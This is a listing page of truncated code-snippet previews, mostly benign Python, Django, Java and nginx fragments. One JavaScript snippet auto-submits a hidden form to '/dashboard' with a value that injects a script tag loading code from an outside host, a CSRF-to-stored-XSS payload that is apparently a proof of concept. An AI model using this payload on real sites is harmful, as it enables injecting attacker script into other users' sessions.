This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import matplotlib.pyplot as plt | |
import numpy as np | |
input = open("stage2-input.bin", "rb").read() | |
bin = map(int, list(''.join(map(lambda s: s[2:], map(bin, map(ord, list(input))))))) | |
results = np.correlate(bin, bin, mode='full') | |
results = results[results.size/2:] | |
plt.plot(results[0:255]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The blog post that started it all: https://neocities.org/blog/the-fcc-is-now-rate-limited | |
# | |
# Current known FCC address ranges: | |
# https://news.ycombinator.com/item?id=7716915 | |
# | |
# Confirm/locate FCC IP ranges with this: http://whois.arin.net/rest/net/NET-165-135-0-0-1/pft | |
# | |
# In your nginx.conf: | |
location / { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
numpy.genfromtxt(path, delimiter=',', names=True, dtype=None) | |
fig = plt.figure(1) | |
plt.xlabel('Month') | |
plt.ylabel('Cost of Food') | |
plt.title('Cost of Food from May 2013 to May 2014) | |
# month is a tuple I created for this data, month[0] is number of month, month[1] is numpy array | |
plt.plot_date([month[0] for month in data], [month[1][0][plan] for month in data], '-b', label=month[1][0][1]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import copy | |
ALPHABET = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z", " "] | |
class Scrambler: | |
"""A single scrambler unit""" | |
def __init__(self, seed): | |
self.routes = range(len(ALPHABET)) | |
random.seed(seed) | |
random.shuffle(self.routes) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import copy | |
ALPHABET = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z", " "] | |
class Scrambler: | |
"""A single scrambler unit""" | |
def __init__(self, seed): | |
self.routes = range(len(ALPHABET)) | |
random.seed(seed) | |
random.shuffle(self.routes) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
"horfunk.radiopirate models and events handlers" | |
import datetime | |
import os | |
import logging | |
from django.db import models | |
from django.contrib.auth.models import User |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @param word String to be turned into T9 code | |
* @return the T9 code of the input string | |
* | |
* Method returns the order of buttons of digipad buttons to be pressed to | |
* get the input String from a T9 predictive text dictionary. | |
* | |
* This method assumes the order of the buttons is as follows and ignores case: | |
* | |
* 2= a,b,c |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var form = document.createElement("form", {action: "/dashboard", method: "POST", style: "display: none", onsubmit: "return false;"}); | |
form.appendChild(document.createElement("input", {type: "hidden", name: "21", value: "<IMG \"\"\"><SCRIPT SRC=\"//danpalmer.me/s/lkd.js\"></SCRIPT>\">"})); | |
document.body.appendChild(form); | |
form.submit(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.conf.urls import patterns, include, url | |
from django.views.generic import ListView | |
from blogengine.models import Category, Post | |
from blogengine.views import PostsFeed | |
urlpatterns = patterns('blogengine.views', | |
# Home page | |
url(r'', 'getPosts'), | |
url(r'(?P<page>\d+)$', ListView.as_view(model=Post, paginate_by=2,)), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.conf.urls import patterns, include, url | |
from django.views.generic import ListView | |
from blogengine.models import Category, Post | |
from blogengine.views import PostsFeed | |
# Uncomment the next two lines to enable the admin: | |
from django.contrib import admin | |
admin.autodiscover() | |
urlpatterns = patterns('', |
OlderNewer